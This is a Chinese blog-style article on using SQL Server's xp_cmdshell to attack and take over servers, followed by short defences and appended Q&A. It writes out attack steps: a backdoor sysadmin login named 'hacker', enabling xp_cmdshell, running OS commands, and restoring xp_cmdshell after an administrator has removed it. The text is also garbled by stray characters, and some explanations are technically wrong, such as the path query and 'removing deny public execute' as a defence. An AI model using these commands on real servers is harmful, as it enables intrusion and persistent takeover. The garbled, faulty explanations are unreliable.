如何利用xp_cmdshell攻击并接管服务器? (xp_cmdshell拿下服务器)
xp_cmdshell是SQL Server中的一个系统存储过程,它允许用户在操作系统级别执行命令,这使得攻击者可以利用该存储过程在服务器上执行他们自己的恶意代码,从而接管服务器。在本文中,我们将深入了解如何利用xp_cmdshell攻击服务器。
xp_cmdshell的工作原理
xp_cmdshell存储过程是在SQL Server中提供的一种特殊功能,它允许用户以系统管理员的身份在操作系统层面上执行命令。因此,如果xp_cmdshell被滥用,攻击者可以轻松地获得对服务器的完全控制。
攻击者可以通过以下步骤利用xp_cmdshell在服务器上执行他们的命令:
1. 找到xp_cmdshell的存储过程,以及其所在的文件路径。
2. 利用xp_cmdshell的存储过程执行恶意代码。
3. 接管服务器并执行攻击者控制下的命令。
尽管xp_cmdshell的使用受到了SQL Server安全限制的限制,但仍有许多方法可以绕过这些限制并使用该存储过程进行攻击。
攻击方法
下面介绍一些常用的xp_cmdshell攻击方法:
方法一:通过SQL注入漏洞获取xp_cmdshell的权限
在许多企业和网站中,存在SQL注入漏洞,攻击者可以通过注入恶意代码获取xp_cmdshell的权限。攻击者可以使用xp_cmdshell存储过程来执行他们自己的代码,从而接管服务器。
在利用SQL注入漏洞执行攻击之前,攻击者需要了解xp_cmdshell的完整路径以及当前的系统管理员身份。这可以通过查询sys.syslogins和sys.sysusers系统表得到。
攻击者执行以下SQL语句来确定xp_cmdshell路径:
SELECT ROUTINE_NAME, ROUTINE_DEFINITION FROM INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_DEFINITION LIKE ‘%xp_cmdshell%’
该SQL语句将显示存储过程名称和定义中包含“xp_cmdshell”的所有存储过程。在找到xp_cmdshell存储过程后,攻击者将用以下语句创建一个新的用户,并将其添加到sysadmin角色中:
EXEC sp_addlogin ‘hacker’, ‘password’; EXEC sp_addsrvrolemember ‘hacker’, ‘sysadmin’;
方法二:使用Malware和Trojan-Dropper
这是一种常见的攻击方式,通常由针对特定目标的高级黑客使用。攻击者可以将恶意软件和木马下载器放入文件共享、网络磁盘映射等位置,从而成功获取对服务器的访问权限。此时,攻击者将使用xp_cmdshell存储过程执行恶意代码,从而完全接管服务器。
为了确保系统不易受到此类攻击,建议管理员应定期检查其服务器上的所有文件、文件夹和共享,并限制用户访问。
方法三:滥用xp_cmdshell以执行命令
攻击者可以通过滥用xp_cmdshell来运行一些基本操作系统命令,例如ping、nslookup、netstat等。以下是一个攻击者可以利用的xp_cmdshell命令示例:
EXEC xp_cmdshell ‘ping 127.0.0.1’; EXEC xp_cmdshell ‘nslookup hacker.com’;
当攻击者成功获取对xp_cmdshell存储过程和命令执行的访问权限时,他们可以轻松地使用各种技巧和方法危害服务器。
防御措施
为了防止xp_cmdshell攻击,并保护服务器免受攻击者的攻击,可以采用以下措施:
1. 删除deny public to execute权限。在SQL Server中,deny public to execute权限用于防止公共用户访问xp_cmdshell存储过程。但是,如果攻击者获得了合法的系统管理员访问权限,该权限就不再起作用了。因此,删除这个权限可以防止一些潜在的攻击。
2. 限制访问权限。管理员必须限制用户访问,以减少安全风险。在服务器上禁用Guest帐户、禁止未授权的用户访问,并定期检查所有用户的权限和活动。
3. 更新相关安全补丁和升级版本。保持操作系统和数据库服务器安全补丁的最新状态,可以有效减少服务器受到攻击的风险。
4. 禁用xp_cmdshell。如果不使用xp_cmdshell执行特定任务,可以考虑将其禁用。这将使攻击者无法利用该存储过程攻击服务器。
在本文中,我们介绍了如何利用xp_cmdshell存储过程攻击服务器以及如何防止这些攻击。攻击者可以通过XP_cmdshell自由地执行各种命令,并有可能完全接管服务器。然而,通过保持服务器安全,限制访问权限和更新相关的安全补丁和升级版本等措施,可以减少服务器受到攻击的风险。
相关问题拓展阅读:
- “sql”中在使用“xp_cmdshell”之前为什么先执行“sp_configure”?
- 1433端口问题
“sql”中在使用“xp_cmdshell”之前为什么先执行“sp_configure”?
1 EXEC sp_configure ‘show advanced options’ , 1
sp_configure 是修改系统配置的存储过程
当设置 show advanced options 参数为 1 时,才允许修改系统配置中的某些高级选相!!系统中这些高级选项默认是不允许修改的!(’xp_cmdshell’ 是高级选项参数之一! )
2 RECONFIGURE
(提交之一步操作)
更新使用 sp_configure 系统存储过程更改的配置选项的当前配置
3 EXEC sp_configure ‘xp_cmdshell’ ,1
执行系统存储过程 修改此巧芹 高级选项 参数’xp_cmdshell’ 等于1
这个参数等于1 表森毕示允许sqlserver 调用数据库之外的操作系统命令
如:在server200下执行dir命令可以写成宽纯 xp_cmdshell ‘dir *.exe’, NO_OUTPUT
4 RECONFIGURE
提交更新第三步的操作
1433端口问题
这个修复的教程在黑客学习基地有呢楼主可以去下载来看看
无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
恢复方法:查询分离器连接后,
之一步执行:exec sp_dropextendedproc ‘xp_cmdshell’
第二步执行:exec sp_addextendedproc ‘xp_cmdshell’,’xpweb70.dll’
然后按F5键命令执行完毕新的修复方法,新的修复方法,无须查询分离器中运行,SQL TOOLS中SQL命令运行:
之一步
exec sp_dropextendedproc ‘xp_cmdshell’第二步
dbcc addextendedproc (“xp_cmdshell”,”c:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll”)
;EXEC sp_configure ‘show advanced options’, 0 — 其中换上服务器xplog70.dll的路径,用SQL TOOLS的文件管理找
—无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块棚返唯。)
恢复方法:查询分离器连接后:
之一步执行:sp_dropextendedproc “xp_cmdshell”
第二步执行:sp_addextendedproc ‘xp_cmdshell’, ‘xpsql70.dll’
然后按F5键命令执行完毕新的修复方法,无须查询分离器中运行,SQL TOOLS中SQL命令运行:
之一步
exec sp_dropextendedproc ‘xp_cmdshell’
第二世陆步
dbcc addextendedproc (“xp_cmdshell”,”c:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll”)
;EXEC sp_configure ‘show advanced options’, 0 — 其中换上服务器xplog70.dll的路径,用SQL TOOLS的文件管理找
—-net 拒绝访问时:
dir c:\net?.exe /s /p 查看是否删除了NET.EXE和NET1.EXE 有时DLLCACHE目录里会有备份的可以拿链培来用
xp_cmdshell拿下服务器的介绍就聊到这里吧,感谢你花时间阅读本站内容,更多关于xp_cmdshell拿下服务器,如何利用xp_cmdshell攻击并接管服务器?,“sql”中在使用“xp_cmdshell”之前为什么先执行“sp_configure”?,1433端口问题的信息别忘了在本站进行查找喔。
编辑:编程语言
标签:攻击者,存储过程,服务器,命令,方法